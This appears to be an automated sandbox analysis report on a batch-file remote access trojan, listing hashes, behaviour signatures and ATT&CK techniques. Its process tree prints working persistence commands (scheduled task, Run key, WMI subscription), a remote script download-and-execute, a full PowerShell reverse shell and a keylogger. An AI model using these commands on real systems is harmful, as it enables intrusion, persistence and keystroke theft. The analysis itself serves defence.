Analysis
- max time kernel
149s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
29/05/2026, 02:55
Static task
static1
Behavioral task
behavioral1
Sample
rat_build_243487_014644.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
rat_build_243487_014644.bat
Resource
win11-20260513-en
General
- Target rat_build_243487_014644.bat
- Size 4KB
- Sample260529-devzbsbw2x
- SHA256 6e8c5ae733c3b65107d59b37218d3e01d41c488031a5d0be4b1621233f66a788
- MD5 9cc3c81d48453d931a33025aa8b1b3c2
- SHA1 e88b8f34ad03d2af5415c62c99f6fd5eb84d6218
- SHA512 e14d324d61c502c7edc53b9289ff825abde6cc7b2d5ff9b333b6f02e4341c99558467966aaa7ca20f85078c3a5f931c6b862a46bf0447dd081f69b7a6e3f6560
- SSDEEP 96:gJI2QWOBkLSVE0nzbaL4FXQt8MPVtDDV9r2chhdFcdgcmadK4yba4APYiFgZk8mr:CNOB8StCLaM9tnyidFOOviFgkHlTYwb
- TLSH T1A8A1E72F6B97B120D5B4250ADA323C08976CE9FB0345DD8EBA84CEC90E4CF0B95196D7
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://payload.server/update_243487.ps1
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 2940 powershell.exe 3468 powershell.exe 4088 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_243487 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_243487.bat" reg.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 3 checkip.amazonaws.com - Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 472 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1524 systeminfo.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 4916 reg.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1624 schtasks.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 3468 powershell.exe 3468 powershell.exe 4088 powershell.exe 4088 powershell.exe 2940 powershell.exe 2940 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 1144 WMIC.exe Token: SeSecurityPrivilege 1144 WMIC.exe Token: SeTakeOwnershipPrivilege 1144 WMIC.exe Token: SeLoadDriverPrivilege 1144 WMIC.exe Token: SeSystemProfilePrivilege 1144 WMIC.exe Token: SeSystemtimePrivilege 1144 WMIC.exe Token: SeProfSingleProcessPrivilege 1144 WMIC.exe Token: SeIncBasePriorityPrivilege 1144 WMIC.exe Token: SeCreatePagefilePrivilege 1144 WMIC.exe Token: SeBackupPrivilege 1144 WMIC.exe Token: SeRestorePrivilege 1144 WMIC.exe Token: SeShutdownPrivilege 1144 WMIC.exe Token: SeDebugPrivilege 1144 WMIC.exe Token: SeSystemEnvironmentPrivilege 1144 WMIC.exe Token: SeRemoteShutdownPrivilege 1144 WMIC.exe Token: SeUndockPrivilege 1144 WMIC.exe Token: SeManageVolumePrivilege 1144 WMIC.exe Token: 33 1144 WMIC.exe Token: 34 1144 WMIC.exe Token: 35 1144 WMIC.exe Token: 36 1144 WMIC.exe Token: SeIncreaseQuotaPrivilege 1144 WMIC.exe Token: SeSecurityPrivilege 1144 WMIC.exe Token: SeTakeOwnershipPrivilege 1144 WMIC.exe Token: SeLoadDriverPrivilege 1144 WMIC.exe Token: SeSystemProfilePrivilege 1144 WMIC.exe Token: SeSystemtimePrivilege 1144 WMIC.exe Token: SeProfSingleProcessPrivilege 1144 WMIC.exe Token: SeIncBasePriorityPrivilege 1144 WMIC.exe Token: SeCreatePagefilePrivilege 1144 WMIC.exe Token: SeBackupPrivilege 1144 WMIC.exe Token: SeRestorePrivilege 1144 WMIC.exe Token: SeShutdownPrivilege 1144 WMIC.exe Token: SeDebugPrivilege 1144 WMIC.exe Token: SeSystemEnvironmentPrivilege 1144 WMIC.exe Token: SeRemoteShutdownPrivilege 1144 WMIC.exe Token: SeUndockPrivilege 1144 WMIC.exe Token: SeManageVolumePrivilege 1144 WMIC.exe Token: 33 1144 WMIC.exe Token: 34 1144 WMIC.exe Token: 35 1144 WMIC.exe Token: 36 1144 WMIC.exe Token: SeIncreaseQuotaPrivilege 2684 WMIC.exe Token: SeSecurityPrivilege 2684 WMIC.exe Token: SeTakeOwnershipPrivilege 2684 WMIC.exe Token: SeLoadDriverPrivilege 2684 WMIC.exe Token: SeSystemProfilePrivilege 2684 WMIC.exe Token: SeSystemtimePrivilege 2684 WMIC.exe Token: SeProfSingleProcessPrivilege 2684 WMIC.exe Token: SeIncBasePriorityPrivilege 2684 WMIC.exe Token: SeCreatePagefilePrivilege 2684 WMIC.exe Token: SeBackupPrivilege 2684 WMIC.exe Token: SeRestorePrivilege 2684 WMIC.exe Token: SeShutdownPrivilege 2684 WMIC.exe Token: SeDebugPrivilege 2684 WMIC.exe Token: SeSystemEnvironmentPrivilege 2684 WMIC.exe Token: SeRemoteShutdownPrivilege 2684 WMIC.exe Token: SeUndockPrivilege 2684 WMIC.exe Token: SeManageVolumePrivilege 2684 WMIC.exe Token: 33 2684 WMIC.exe Token: 34 2684 WMIC.exe Token: 35 2684 WMIC.exe Token: 36 2684 WMIC.exe Token: SeIncreaseQuotaPrivilege 2684 WMIC.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 1068 wrote to memory of 1624 1068 cmd.exe 87 PID 1068 wrote to memory of 4916 1068 cmd.exe 88 PID 1068 wrote to memory of 1144 1068 cmd.exe 89 PID 1068 wrote to memory of 2684 1068 cmd.exe 90 PID 1068 wrote to memory of 3820 1068 cmd.exe 91 PID 1068 wrote to memory of 1524 1068 cmd.exe 112 PID 1068 wrote to memory of 472 1068 cmd.exe 115 PID 1068 wrote to memory of 3468 1068 cmd.exe 116 PID 1068 wrote to memory of 4088 1068 cmd.exe 118 PID 1068 wrote to memory of 2940 1068 cmd.exe 120 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_243487_014644.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1068 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "WinUpdate_243487" /tr "C:\Users\Admin\AppData\Local\Temp\_243487.bat" /sc onlogon /ru "SYSTEM" /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1624
-
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_243487" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_243487.bat" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:4916
-
-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_243487", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1144
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C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_243487", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_243487.bat"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2684
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C:\Windows\system32\curl.execurl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_243487.txt2⤵PID:3820
-
-
C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:1524
-
-
C:\Windows\system32\NETSTAT.EXEnetstat -an2⤵
- Gathers network information
PID:472
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_243487.ps1'))"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3468
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4088
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2940
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
- MD5 2f57fde6b33e89a63cf0dfdd6e60a351
- SHA1 445bf1b07223a04f8a159581a3d37d630273010f
- SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
- TLSH T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 9727f0dcd05aaf5b409c7e30b46d0cdc41e353cdf800c2034d495952979e7bb9
- MD5 bee76d854df6a042cd2edf79b26925e4
- SHA1 9053ea98b0eddb2bab6bbfd6e79578ece5021eb3
- SHA512 3f627dc24dd4f22ec71783aebfa7adf7a8c02b1c7bb6ea11adde03dc6fbb15255ea13fcc8e4e6526060861ba7ae9e8f5d09f043a38e52eacbf363d0cfd9f3f0e
- TLSH T106115727B39C8921CC96153A409D9C1172B683D7819EDF9F6FC4D214A07F584CB71194
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 479e30aab9aea527f35a883f9d2564454c5da1b0b512e00442931eee6dd7b4a0
- MD5 9b2bec72b86f9fd4436e8d351bc99cdd
- SHA1 630726346b61fcc2329944c935413d9f75b0c9cb
- SHA512 fdfa2395e0d8751aa13b8bb7fa4ab329f20445e435bb8b005083b3d86c5d8bd67977e74d3b8b6f31a4b1f4d52aeeafc8e568d2c21ede254f18f55c730821629e
- TLSH T1A6115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214A17F584CB61190
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wc4rmkbc.no0.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH